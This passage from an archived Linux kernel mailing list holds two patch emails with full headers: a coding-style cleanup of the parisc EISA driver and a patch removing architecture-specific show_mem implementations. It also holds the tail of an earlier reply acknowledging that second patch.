> callback called from the generic code rather than duplicate the whole
> show_mem. The current code has resulted in the code duplication and
> the output divergence which is both confusing and adds maintainance
> costs. Let's just get rid of this mess.
> 
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Chris Metcalf <cmetcalf@mellanox.com>
> Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Michal Hocko <mhocko@suse.com>

Acked-by: Johannes Weiner <hannes@cmpxchg.org>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v1] parisc : eisa :- Remove coding style error.
Date: Tue, 17 Jan 2017 13:35:03 +0530
Lines: 275
Approved: news@gmane.org
Message-ID: <1484640303-16456-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484640914 22734 195.159.176.226 (17 Jan 2017 08:15:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2017 08:15:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 17 09:15:05 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cTOux-0004tM-Vk
	for glk-linux-kernel-3@m.gmane.org; Tue, 17 Jan 2017 09:15:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751236AbdAQIOT (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 17 Jan 2017 03:14:19 -0500
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:34779 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751194AbdAQIOK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Jan 2017 03:14:10 -0500
Original-Received: by mail-pf0-f194.google.com with SMTP id y143so15766311pfb.1;
        Tue, 17 Jan 2017 00:14:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=3aKgp1TNWDsLSeGOx1EDxFetYDl+zcARlcNu7ufBL6o=;
        b=RU/dc7ts18WHtktyRvcqjhvRWyfBACEoJ3nBoSX2aVBnzQq+ninKrnHxe4hIYqeCDb
         WUrrfy9Hqe8twIcW+UqwJKpTTkW6yWAlv5f85UPyIAa5uHVqGo0J6BcjvZ6+3NHTfzny
         rYI4rDYCS9sLYWVmu3f8O3a9Jrr7mQwJlXlaUCAiM9CC7sEOvi8qV+kpsi5u9Oq5Ys3s
         A5PTh9mIYnRmOehhSzZI7wGCBoRY3zNpffbb7i/M9hxfc5Gi24I8mye0mhw260S0cWFI
         OdrJu7azvCSbcOGe7ZQeCfMfESHphvbChL4TR5fEySGTZCJz4lMFo5yd6fJlAEkEMMP/
         l31g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=3aKgp1TNWDsLSeGOx1EDxFetYDl+zcARlcNu7ufBL6o=;
        b=QM8J8oX9NgBxwN2KRLJQ09DrqnCwYEdGSnLv/NUTZsbW34AsJORAQldIlf7wyWm2BS
         h7xpfPdTfrje2Xvc6842c/xiG+FjNHM2jDm2Gf1Ri4EK+aoo8/4CxKbmAbEbQJZT40QI
         2viofb1C5hsv4msmWztlTs3bWaG73RLlZfimkbfggoE7wdOZE5++iuP22KwPoi62+mHB
         nZelRBt8FgKWR2iUr7LZoKnGaEXikPSvj0nC0647GZF/4RTgz2219eDML0sZSxPI/7mF
         on7+Qx1sDjsejVsWFUZ1Bjtxe/NXd5dpsa/hIC+xotfEml6mnFUXOg8wRfdb98JBAHZ0
         +yLg==
X-Gm-Message-State: AIkVDXKGDZFAX/tjeuWKFM3u/D0C9p0e5+VowbuQ/QVzOK8LwlNLif5uL5IQ13efaZjIMg==
X-Received: by 10.84.231.142 with SMTP id g14mr56326249plk.13.1484640335772;
        Tue, 17 Jan 2017 00:05:35 -0800 (PST)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id 64sm42995963pfz.48.2017.01.17.00.05.33
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 17 Jan 2017 00:05:35 -0800 (PST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2389528 gmane.linux.ports.parisc:27202
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2389528>

This patch removes coding style errors.
- ERROR: space prohibited before that close parenthesis ')'
- ERROR: code indent should use tabs where possible
- ERROR: space required after that ',' (ctx:VxV)
- ERROR: trailing whitespace

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/eisa.c | 104 +++++++++++++++++++++++++-------------------------
 1 file changed, 52 insertions(+), 52 deletions(-)

diff --git a/drivers/parisc/eisa.c b/drivers/parisc/eisa.c
index 103095b..59edee9 100644
--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -14,16 +14,16 @@
  * Wax ASIC also includes a PS/2 and RS-232 controller, but those are
  * dealt with elsewhere; this file is concerned only with the EISA portions
  * of Wax.
- * 
- * 
+ *
+ *
  * HINT:
  * -----
  * To allow an ISA card to work properly in the EISA slot you need to
- * set an edge trigger level. This may be done on the palo command line 
- * by adding the kernel parameter "eisa_irq_edge=n,n2,[...]]", with 
+ * set an edge trigger level. This may be done on the palo command line
+ * by adding the kernel parameter "eisa_irq_edge=n,n2,[...]]", with
  * n and n2 as the irq levels you want to use.
- * 
- * Example: "eisa_irq_edge=10,11" allows ISA cards to operate at 
+ *
+ * Example: "eisa_irq_edge=10,11" allows ISA cards to operate at
  * irq levels 10 and 11.
  */
 
@@ -46,9 +46,9 @@
 #include <asm/eisa_eeprom.h>
 
 #if 0
-#define EISA_DBG(msg, arg... ) printk(KERN_DEBUG "eisa: " msg , ## arg )
+#define EISA_DBG(msg, arg...) printk(KERN_DEBUG "eisa: " msg, ## arg)
 #else
-#define EISA_DBG(msg, arg... )  
+#define EISA_DBG(msg, arg...)
 #endif
 
 #define SNAKES_EEPROM_BASE_ADDR 0xF0810400
@@ -108,7 +108,7 @@ void eisa_out8(unsigned char data, unsigned short port)
 
 void eisa_out16(unsigned short data, unsigned short port)
 {
-	if (EISA_bus)	
+	if (EISA_bus)
 		gsc_writew(cpu_to_le16(data), eisa_permute(port));
 }
 
@@ -135,9 +135,9 @@ void eisa_out32(unsigned int data, unsigned short port)
 static int slave_mask;
 
 /* the trig level can be set with the
- * eisa_irq_edge=n,n,n commandline parameter 
- * We should really read this from the EEPROM 
- * in the furure. 
+ * eisa_irq_edge=n,n,n commandline parameter
+ * We should really read this from the EEPROM
+ * in the furure.
  */
 /* irq 13,8,2,1,0 must be edge */
 static unsigned int eisa_irq_level __read_mostly; /* default to edge triggered */
@@ -170,7 +170,7 @@ static void eisa_unmask_irq(struct irq_data *d)
 	unsigned int irq = d->irq;
 	unsigned long flags;
 	EISA_DBG("enable irq %d\n", irq);
-		
+
 	spin_lock_irqsave(&eisa_irq_lock, flags);
         if (irq & 8) {
 		slave_mask &= ~(1 << (irq&7));
@@ -194,7 +194,7 @@ static irqreturn_t eisa_irq(int wax_irq, void *intr_dev)
 {
 	int irq = gsc_readb(0xfc01f000); /* EISA supports 16 irqs */
 	unsigned long flags;
-        
+
 	spin_lock_irqsave(&eisa_irq_lock, flags);
 	/* read IRR command */
 	eisa_out8(0x0a, 0x20);
@@ -202,31 +202,31 @@ static irqreturn_t eisa_irq(int wax_irq, void *intr_dev)
 
 	EISA_DBG("irq IAR %02x 8259-1 irr %02x 8259-2 irr %02x\n",
 		   irq, eisa_in8(0x20), eisa_in8(0xa0));
-   
+
 	/* read ISR command */
 	eisa_out8(0x0a, 0x20);
 	eisa_out8(0x0a, 0xa0);
 	EISA_DBG("irq 8259-1 isr %02x imr %02x 8259-2 isr %02x imr %02x\n",
 		 eisa_in8(0x20), eisa_in8(0x21), eisa_in8(0xa0), eisa_in8(0xa1));
-	
+
 	irq &= 0xf;
-	
+
 	/* mask irq and write eoi */
 	if (irq & 8) {
 		slave_mask |= (1 << (irq&7));
 		eisa_out8(slave_mask, 0xa1);
 		eisa_out8(0x60 | (irq&7),0xa0);/* 'Specific EOI' to slave */
-		eisa_out8(0x62,0x20);	/* 'Specific EOI' to master-IRQ2 */
-		
+		eisa_out8(0x62, 0x20);	/* 'Specific EOI' to master-IRQ2 */
+
 	} else {
 		master_mask |= (1 << (irq&7));
 		eisa_out8(master_mask, 0x21);
-		eisa_out8(0x60|irq,0x20);	/* 'Specific EOI' to master */
+		eisa_out8(0x60|irq, 0x20);	/* 'Specific EOI' to master */
 	}
 	spin_unlock_irqrestore(&eisa_irq_lock, flags);
 
 	generic_handle_irq(irq);
-   
+
 	spin_lock_irqsave(&eisa_irq_lock, flags);
 	/* unmask */
         if (irq & 8) {
@@ -254,44 +254,44 @@ static irqreturn_t dummy_irq2_handler(int _, void *dev)
 static void init_eisa_pic(void)
 {
 	unsigned long flags;
-	
+
 	spin_lock_irqsave(&eisa_irq_lock, flags);
 
 	eisa_out8(0xff, 0x21); /* mask during init */
 	eisa_out8(0xff, 0xa1); /* mask during init */
-	
+
 	/* master pic */
-	eisa_out8(0x11,0x20); /* ICW1 */   
-	eisa_out8(0x00,0x21); /* ICW2 */   
-	eisa_out8(0x04,0x21); /* ICW3 */   
-	eisa_out8(0x01,0x21); /* ICW4 */   
-	eisa_out8(0x40,0x20); /* OCW2 */   
-	
+	eisa_out8(0x11, 0x20); /* ICW1 */
+	eisa_out8(0x00, 0x21); /* ICW2 */
+	eisa_out8(0x04, 0x21); /* ICW3 */
+	eisa_out8(0x01, 0x21); /* ICW4 */
+	eisa_out8(0x40, 0x20); /* OCW2 */
+
 	/* slave pic */
-	eisa_out8(0x11,0xa0); /* ICW1 */   
-	eisa_out8(0x08,0xa1); /* ICW2 */   
-        eisa_out8(0x02,0xa1); /* ICW3 */   
-	eisa_out8(0x01,0xa1); /* ICW4 */   
-	eisa_out8(0x40,0xa0); /* OCW2 */   
-        
+	eisa_out8(0x11, 0xa0); /* ICW1 */
+	eisa_out8(0x08, 0xa1); /* ICW2 */
+	eisa_out8(0x02, 0xa1); /* ICW3 */
+	eisa_out8(0x01, 0xa1); /* ICW4 */
+	eisa_out8(0x40, 0xa0); /* OCW2 */
+
 	udelay(100);
-	
-	slave_mask = 0xff; 
-	master_mask = 0xfb; 
+
+	slave_mask = 0xff;
+	master_mask = 0xfb;
 	eisa_out8(slave_mask, 0xa1); /* OCW1 */
 	eisa_out8(master_mask, 0x21); /* OCW1 */
-	
+
 	/* setup trig level */
 	EISA_DBG("EISA edge/level %04x\n", eisa_irq_level);
-	
+
 	eisa_out8(eisa_irq_level&0xff, 0x4d0); /* Set all irq's to edge  */
-	eisa_out8((eisa_irq_level >> 8) & 0xff, 0x4d1); 
-	
+	eisa_out8((eisa_irq_level >> 8) & 0xff, 0x4d1);
+
 	EISA_DBG("pic0 mask %02x\n", eisa_in8(0x21));
 	EISA_DBG("pic1 mask %02x\n", eisa_in8(0xa1));
 	EISA_DBG("pic0 edge/level %02x\n", eisa_in8(0x4d0));
 	EISA_DBG("pic1 edge/level %02x\n", eisa_in8(0x4d1));
-	
+
 	spin_unlock_irqrestore(&eisa_irq_lock, flags);
 }
 
@@ -305,7 +305,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 
 	char *name = is_mongoose(dev) ? "Mongoose" : "Wax";
 
-	printk(KERN_INFO "%s EISA Adapter found at 0x%08lx\n", 
+	printk(KERN_INFO "%s EISA Adapter found at 0x%08lx\n",
 		name, (unsigned long)dev->hpa.start);
 
 	eisa_dev.hba.dev = dev;
@@ -336,14 +336,14 @@ static int __init eisa_probe(struct parisc_device *dev)
 		printk(KERN_ERR "EISA: request_irq failed!\n");
 		return result;
 	}
-	
+
 	/* Reserve IRQ2 */
 	setup_irq(2, &irq2_action);
 	for (i = 0; i < 16; i++) {
 		irq_set_chip_and_handler(i, &eisa_interrupt_type,
 					 handle_simple_irq);
 	}
-	
+
 	EISA_bus = 1;
 
 	if (dev->num_addrs) {
@@ -375,7 +375,7 @@ static int __init eisa_probe(struct parisc_device *dev)
 			return -1;
 		}
 	}
-	
+
 	return 0;
 }
 
@@ -404,7 +404,7 @@ void eisa_make_irq_level(int num)
 {
 	if (eisa_irq_configured& (1<<num)) {
 		printk(KERN_WARNING
-		       "IRQ %d polarity configured twice (last to level)\n", 
+		       "IRQ %d polarity configured twice (last to level)\n",
 		       num);
 	}
 	eisa_irq_level |= (1<<num); /* set the corresponding bit */
@@ -414,7 +414,7 @@ void eisa_make_irq_level(int num)
 void eisa_make_irq_edge(int num)
 {
 	if (eisa_irq_configured& (1<<num)) {
-		printk(KERN_WARNING 
+		printk(KERN_WARNING
 		       "IRQ %d polarity configured twice (last to edge)\n",
 		       num);
 	}
@@ -430,18 +430,18 @@ static int __init eisa_irq_setup(char *str)
 	EISA_DBG("IRQ setup\n");
 	while (cur != NULL) {
 		char *pe;
-		
+
 		val = (int) simple_strtoul(cur, &pe, 0);
 		if (val > 15 || val < 0) {
 			printk(KERN_ERR "eisa: EISA irq value are 0-15\n");
 			continue;
 		}
-		if (val == 2) { 
+		if (val == 2) {
 			val = 9;
 		}
 		eisa_make_irq_edge(val); /* clear the corresponding bit */
 		EISA_DBG("setting IRQ %d to edge-triggered mode\n", val);
-		
+
 		if ((cur = strchr(cur, ','))) {
 			cur++;
 		} else {
-- 
1.9.1



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: [PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Tue, 17 Jan 2017 10:15:42 +0100
Lines: 287
Approved: news@gmane.org
Message-ID: <20170117091543.25850-4-mhocko@kernel.org>
References: <20170117091543.25850-1-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484644570 18590 195.159.176.226 (17 Jan 2017 09:16:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2017 09:16:10 +0000 (UTC)
Cc: Johannes Weiner <hannes@cmpxchg.org>,
	Mel Gorman <mgorman@suse.de>,
	Vlastimil Babka <vbabka@suse.cz>,
	David Rientjes <rientjes@google.com>,
	<linux-mm@kvack.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Michal Hocko <mhocko@suse.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"David S. Miller" <davem@davemloft.net>,
	linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jan 17 10:16:02 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cTPrw-0003wv-P0
	for glkm-linux-mm-2@m.gmane.org; Tue, 17 Jan 2017 10:15:57 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 4F3716B025E; Tue, 17 Jan 2017 04:15:57 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4A0986B0260; Tue, 17 Jan 2017 04:15:57 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3429E6B0261; Tue, 17 Jan 2017 04:15:57 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f71.google.com (mail-wm0-f71.google.com [74.125.82.71])
	by kanga.kvack.org (Postfix) with ESMTP id D286A6B025E
	for <linux-mm@kvack.org>; Tue, 17 Jan 2017 04:15:56 -0500 (EST)
Original-Received: by mail-wm0-f71.google.com with SMTP id p192so32275201wme.1
        for <linux-mm@kvack.org>; Tue, 17 Jan 2017 01:15:56 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=g91GqGwOrm7thfyZJ8K8ff1dMBBIMNgFrfzWvl1IzPw=;
        b=KJfXyWUj4dSYBBuTIKZ7MxnQcg8B+YkLgGkRCChg9YTqZ50CHOek5HNKm0ZvkZbkk4
         nEC5yP1GTsfQWjHvQ4RGmRxxct802WHjbzOPm1IuMECOqRB31sPnTTOCqBAhE0negVjf
         rTpUUj3+8RAU9cwAT72HJZgippT+uME0lS6owoRhgYCcbtYjZdiml6xu/8U+Da2PjhTo
         CeGlGaACwY0/DI2TLaclMMWzp42VKoac+OjGcFCTv0uixv3cm1Prr288kerqIiW23d2t
         z1/iJ1ihSR44ITfodGYf4KTnVqPxrsY9UzeJR+RdE7KXDOaIvOC52G9dMrkQLItMxSi9
         yzaw==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
X-Gm-Message-State: AIkVDXK0wJ9JFDxWKv4U4EM++BTzXsCJgDnphCWVar2n9r/AnsbzkOG4U5FuhXWBGHI1YPEOGLsumXJqdeTE9RDP/XWABc77hUnxsnbXImuB0JrtkaQTD16BMWta7QNwuscNeBj9xdUJwc3RBnkx53wVy6VJ2MiBzv5D5o/0t+xohBiJX4ilhz0An1TA4UXU/pB5zwKVkY+v+pJ21pwv3Muse/yDKKEDHEyFGauA9PEskT81N/euolna9NJHWFGFMm8/taDoqnEy02/fyVXuhZpYQdHfRluZZpWwZch+SqDGvps=
X-Received: by 10.28.148.76 with SMTP id w73mr16099826wmd.43.1484644556313;
        Tue, 17 Jan 2017 01:15:56 -0800 (PST)
X-Received: by 10.28.148.76 with SMTP id w73mr16099786wmd.43.1484644555717;
        Tue, 17 Jan 2017 01:15:55 -0800 (PST)
Original-Received: from mail-wm0-f67.google.com (mail-wm0-f67.google.com. [74.125.82.67])
        by mx.google.com with ESMTPS id t16si7827265wra.190.2017.01.17.01.15.55
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 17 Jan 2017 01:15:55 -0800 (PST)
Received-SPF: pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) client-ip=74.125.82.67;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
Original-Received: by mail-wm0-f67.google.com with SMTP id r126so36928343wmr.3
        for <linux-mm@kvack.org>; Tue, 17 Jan 2017 01:15:55 -0800 (PST)
X-Received: by 10.28.31.212 with SMTP id f203mr14442747wmf.130.1484644555273;
        Tue, 17 Jan 2017 01:15:55 -0800 (PST)
Original-Received: from tiehlicka.suse.cz ([213.151.95.130])
        by smtp.gmail.com with ESMTPSA id o143sm4349193wmd.3.2017.01.17.01.15.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 17 Jan 2017 01:15:54 -0800 (PST)
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170117091543.25850-1-mhocko@kernel.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164586 gmane.linux.kernel:2389562 gmane.linux.ports.ia64:27616 gmane.linux.ports.parisc:27203
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164586>

From: Michal Hocko <mhocko@suse.com>

We have a generic implementation for quite some time already. If there
is any arch specific information to be printed then we should add a
callback called from the generic code rather than duplicate the whole
show_mem. The current code has resulted in the code duplication and
the output divergence which is both confusing and adds maintainance
costs. Let's just get rid of this mess.

Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: linux-ia64@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Acked-by: Guan Xuetao <gxt@mprc.pku.edu.cn> [UniCore32]
Acked-by: Helge Deller <deller@gmx.de> [for parisc]
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Acked-by: Mel Gorman <mgorman@suse.de>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Signed-off-by: Michal Hocko <mhocko@suse.com>
---
 arch/ia64/mm/init.c      | 48 -----------------------------------------------
 arch/parisc/mm/init.c    | 49 ------------------------------------------------
 arch/sparc/mm/init_32.c  | 11 -----------
 arch/tile/mm/pgtable.c   | 45 --------------------------------------------
 arch/unicore32/mm/init.c | 44 -------------------------------------------
 5 files changed, 197 deletions(-)

diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 1841ef69183d..46afc8d5ebfc 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -684,51 +684,3 @@ int arch_remove_memory(u64 start, u64 size)
 }
 #endif
 #endif
-
-/**
- * show_mem - give short summary of memory stats
- *
- * Shows a simple page count of reserved and used pages in the system.
- * For discontig machines, it does this on a per-pgdat basis.
- */
-void show_mem(unsigned int filter)
-{
-	int total_reserved = 0;
-	unsigned long total_present = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-	printk(KERN_INFO "Node memory in pages:\n");
-	for_each_online_pgdat(pgdat) {
-		unsigned long present;
-		unsigned long flags;
-		int reserved = 0;
-		int nid = pgdat->node_id;
-		int zoneid;
-
-		if (skip_free_areas_node(filter, nid))
-			continue;
-		pgdat_resize_lock(pgdat, &flags);
-
-		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
-			struct zone *zone = &pgdat->node_zones[zoneid];
-			if (!populated_zone(zone))
-				continue;
-
-			reserved += zone->present_pages - zone->managed_pages;
-		}
-		present = pgdat->node_present_pages;
-
-		pgdat_resize_unlock(pgdat, &flags);
-		total_present += present;
-		total_reserved += reserved;
-		printk(KERN_INFO "Node %4d:  RAM: %11ld, rsvd: %8d, ",
-		       nid, present, reserved);
-	}
-	printk(KERN_INFO "%ld pages of RAM\n", total_present);
-	printk(KERN_INFO "%d reserved pages\n", total_reserved);
-	printk(KERN_INFO "Total of %ld pages in page table cache\n",
-	       quicklist_total_size());
-	printk(KERN_INFO "%ld free buffer pages\n", nr_free_buffer_pages());
-}
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index e02ada312be8..64bfdf636f39 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -653,55 +653,6 @@ void __init mem_init(void)
 unsigned long *empty_zero_page __read_mostly;
 EXPORT_SYMBOL(empty_zero_page);
 
-void show_mem(unsigned int filter)
-{
-	int total = 0,reserved = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-
-	for_each_online_pgdat(pgdat) {
-		unsigned long flags;
-		int zoneid;
-
-		pgdat_resize_lock(pgdat, &flags);
-		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
-			struct zone *zone = &pgdat->node_zones[zoneid];
-			if (!populated_zone(zone))
-				continue;
-
-			total += zone->present_pages;
-			reserved = zone->present_pages - zone->managed_pages;
-		}
-		pgdat_resize_unlock(pgdat, &flags);
-	}
-
-	printk(KERN_INFO "%d pages of RAM\n", total);
-	printk(KERN_INFO "%d reserved pages\n", reserved);
-
-#ifdef CONFIG_DISCONTIGMEM
-	{
-		struct zonelist *zl;
-		int i, j;
-
-		for (i = 0; i < npmem_ranges; i++) {
-			zl = node_zonelist(i, 0);
-			for (j = 0; j < MAX_NR_ZONES; j++) {
-				struct zoneref *z;
-				struct zone *zone;
-
-				printk("Zone list for zone %d on node %d: ", j, i);
-				for_each_zone_zonelist(zone, z, zl, j)
-					printk("[%d/%s] ", zone_to_nid(zone),
-								zone->name);
-				printk("\n");
-			}
-		}
-	}
-#endif
-}
-
 /*
  * pagetable_init() sets up the page tables
  *
diff --git a/arch/sparc/mm/init_32.c b/arch/sparc/mm/init_32.c
index eb8287155279..c6afe98de4d9 100644
--- a/arch/sparc/mm/init_32.c
+++ b/arch/sparc/mm/init_32.c
@@ -55,17 +55,6 @@ extern unsigned int sparc_ramdisk_size;
 
 unsigned long highstart_pfn, highend_pfn;
 
-void show_mem(unsigned int filter)
-{
-	printk("Mem-info:\n");
-	show_free_areas(filter);
-	printk("Free swap:       %6ldkB\n",
-	       get_nr_swap_pages() << (PAGE_SHIFT-10));
-	printk("%ld pages of RAM\n", totalram_pages);
-	printk("%ld free pages\n", nr_free_pages());
-}
-
-
 unsigned long last_valid_pfn;
 
 unsigned long calc_highpages(void)
diff --git a/arch/tile/mm/pgtable.c b/arch/tile/mm/pgtable.c
index 7cc6ee7f1a58..492a7361e58e 100644
--- a/arch/tile/mm/pgtable.c
+++ b/arch/tile/mm/pgtable.c
@@ -36,51 +36,6 @@
 
 #define K(x) ((x) << (PAGE_SHIFT-10))
 
-/*
- * The normal show_free_areas() is too verbose on Tile, with dozens
- * of processors and often four NUMA zones each with high and lowmem.
- */
-void show_mem(unsigned int filter)
-{
-	struct zone *zone;
-
-	pr_err("Active:%lu inactive:%lu dirty:%lu writeback:%lu unstable:%lu free:%lu\n slab:%lu mapped:%lu pagetables:%lu bounce:%lu pagecache:%lu swap:%lu\n",
-	       (global_node_page_state(NR_ACTIVE_ANON) +
-		global_node_page_state(NR_ACTIVE_FILE)),
-	       (global_node_page_state(NR_INACTIVE_ANON) +
-		global_node_page_state(NR_INACTIVE_FILE)),
-	       global_node_page_state(NR_FILE_DIRTY),
-	       global_node_page_state(NR_WRITEBACK),
-	       global_node_page_state(NR_UNSTABLE_NFS),
-	       global_page_state(NR_FREE_PAGES),
-	       (global_page_state(NR_SLAB_RECLAIMABLE) +
-		global_page_state(NR_SLAB_UNRECLAIMABLE)),
-	       global_node_page_state(NR_FILE_MAPPED),
-	       global_page_state(NR_PAGETABLE),
-	       global_page_state(NR_BOUNCE),
-	       global_node_page_state(NR_FILE_PAGES),
-	       get_nr_swap_pages());
-
-	for_each_zone(zone) {
-		unsigned long flags, order, total = 0, largest_order = -1;
-
-		if (!populated_zone(zone))
-			continue;
-
-		spin_lock_irqsave(&zone->lock, flags);
-		for (order = 0; order < MAX_ORDER; order++) {
-			int nr = zone->free_area[order].nr_free;
-			total += nr << order;
-			if (nr)
-				largest_order = order;
-		}
-		spin_unlock_irqrestore(&zone->lock, flags);
-		pr_err("Node %d %7s: %lukB (largest %luKb)\n",
-		       zone_to_nid(zone), zone->name,
-		       K(total), largest_order ? K(1UL) << largest_order : 0);
-	}
-}
-
 /**
  * shatter_huge_page() - ensure a given address is mapped by a small page.
  *
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index be2bde9b07cf..f4950fbfe574 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -57,50 +57,6 @@ early_param("initrd", early_initrd);
  */
 struct meminfo meminfo;
 
-void show_mem(unsigned int filter)
-{
-	int free = 0, total = 0, reserved = 0;
-	int shared = 0, cached = 0, slab = 0, i;
-	struct meminfo *mi = &meminfo;
-
-	printk(KERN_DEFAULT "Mem-info:\n");
-	show_free_areas(filter);
-
-	for_each_bank(i, mi) {
-		struct membank *bank = &mi->bank[i];
-		unsigned int pfn1, pfn2;
-		struct page *page, *end;
-
-		pfn1 = bank_pfn_start(bank);
